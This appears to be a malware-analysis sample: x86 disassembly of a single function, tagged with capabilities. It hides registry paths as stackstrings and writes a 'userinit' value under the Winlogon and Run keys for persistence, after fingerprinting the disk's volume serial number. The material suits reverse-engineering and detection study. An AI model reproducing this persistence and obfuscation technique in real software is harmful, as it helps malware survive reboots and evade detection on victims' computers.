Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings
Get disk information
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x37c
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x277]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x34], 0x74666f73
mov dword [ebp - 0x30], 0x65726177
mov dword [ebp - 0x2c], 0x63696d5c
mov dword [ebp - 0x28], 0x6f736f72
mov dword [ebp - 0x24], 0x775c7466
mov dword [ebp - 0x20], 0x6f646e69
mov dword [ebp - 0x1c], 0x635c7377
mov dword [ebp - 0x18], 0x65727275
mov dword [ebp - 0x14], 0x6576746e
mov dword [ebp - 0x10], 0x6f697372
mov dword [ebp - 0xc], 0x75725c6e
mov word [ebp - 8], 0x6e
mov dword [ebp - 0x6c], 0x74666f73
mov dword [ebp - 0x68], 0x65726177
mov dword [ebp - 0x64], 0x63696d5c
mov dword [ebp - 0x60], 0x6f736f72
mov dword [ebp - 0x5c], 0x775c7466
mov dword [ebp - 0x58], 0x6f646e69
mov dword [ebp - 0x54], 0x6e207377
mov dword [ebp - 0x50], 0x75635c74
mov dword [ebp - 0x4c], 0x6e657272
mov dword [ebp - 0x48], 0x72657674
mov dword [ebp - 0x44], 0x6e6f6973
mov dword [ebp - 0x40], 0x6e69775c
mov dword [ebp - 0x3c], 0x6f676f6c
mov word [ebp - 0x38], 0x6e
mov byte [ebp - 0x278], bl
call sub.MSVCRT.dll_memset
push 0xff
lea eax, [ebp - 0x37b]
push ebx
push eax
mov dword [ebp - 0x70], 0xff0ff
mov byte [ebp - 0x37c], bl
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
xor eax, eax
add esp, 0x18
lea edi, [ebp - 0x27c]
stosw word es:[edi], ax
cmp esi, ebx
je 0x10001241
push ebx
lea eax, [ebp - 4]
push eax
push ebx
mov edi, 0x102
push edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x6c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100011f0
add edi, 2
push edi
lea eax, [ebp - 0x174]
push eax
push 0x10005868
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 0x70]
lea eax, [ebp - 0x174]
push 0x10005874
push edi
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, esi
lea esi, [ebp - 0x278]
add esp, 0x10
sub esi, eax
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x10001197
lea eax, [ebp - 0x174]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100011aa
sub eax, edx
push eax
lea eax, [ebp - 0x174]
push eax
lea eax, [ebp - 0x37c]
call fcn.100017d5
lea eax, [ebp - 0x278]
push eax
mov ecx, eax
mov edx, edi
lea eax, [ebp - 0x37c]
call fcn.10001812
push edi
lea eax, [ebp - 0x278]
push eax
push 1
push ebx
lea eax, [ebp - 0x174]
push eax
jmp 0x10001221
lea eax, [ebp - 4]
push eax
push edi
push ebx
lea eax, [ebp - 0x34]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000122a
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000120e
sub eax, edx
push eax
push esi
push 1
push ebx
push str.userinit
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], ebx
je 0x10001241
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret 4